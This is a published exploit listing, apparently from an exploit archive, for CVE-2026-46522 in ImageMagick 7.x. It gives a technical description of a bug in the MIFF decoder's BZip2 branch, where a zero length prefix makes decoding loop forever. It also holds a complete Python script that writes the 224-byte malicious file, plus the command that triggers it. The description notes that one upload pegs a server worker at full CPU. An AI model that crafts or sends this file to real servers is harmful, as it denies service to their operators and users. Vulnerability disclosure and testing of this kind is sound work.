Share
## https://sploitus.com/exploit?id=PACKETSTORM:222244
# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion 
    # Google Dork: N/A
    # Date: 2026-05-13
    # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec
    # Vendor Homepage: https://imagemagick.org/
    # Software Link: https://imagemagick.org/download/
    # Version: ImageMagick 7.x, verified on 7.1.2-3 system
    # CVE : CVE-2026-46522
    # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5
    """
    Description
    -----------
    coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the
    per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns
    BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that
    are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU.
    
    LZMA and Zip branches have the same code shape but their decompressor
    libraries return BUF_ERROR on empty input, so they bail out.
    
    Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU
    until killed by a request timeout or by the OS.
    
    Usage
    -----
        python3 miff_bzip_dos.py [OUTPUT_PATH]
    
    Default OUTPUT_PATH is /tmp/poc.miff. Then trigger:
    
        /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\
          timeout 5 magick identify /tmp/poc.miff
    
    Expected output:
        Command exited with non-zero status 124
        wall=5.00s user=5.00s cpu=100% exit=124
    
    The process never finishes on its own. Timeout kills it.
    """
    
    import sys
    
    def craft_miff(path: str) -> None:
        header = (
            b"id=ImageMagick version=1.0\n"
            b"class=DirectClass colors=0 alpha-trait=Undefined\n"
            b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
            b"columns=1 rows=1 depth=8\n"
            b"colorspace=sRGB compression=BZip quality=75\n"
            b"\x0c\n"          # form feed terminator, then one byte consumed by ReadBlobByte
        )
        body = b"\x00\x00\x00\x00"   # 4-byte MSB length=0, triggers the infinite loop
        with open(path, "wb") as f:
            f.write(header + body)
        import os
        print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)")
        print(f"[+] Trigger with:")
        print(f"    /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\")
        print(f"      timeout 5 magick identify {path}")
    
    if __name__ == "__main__":
        craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff")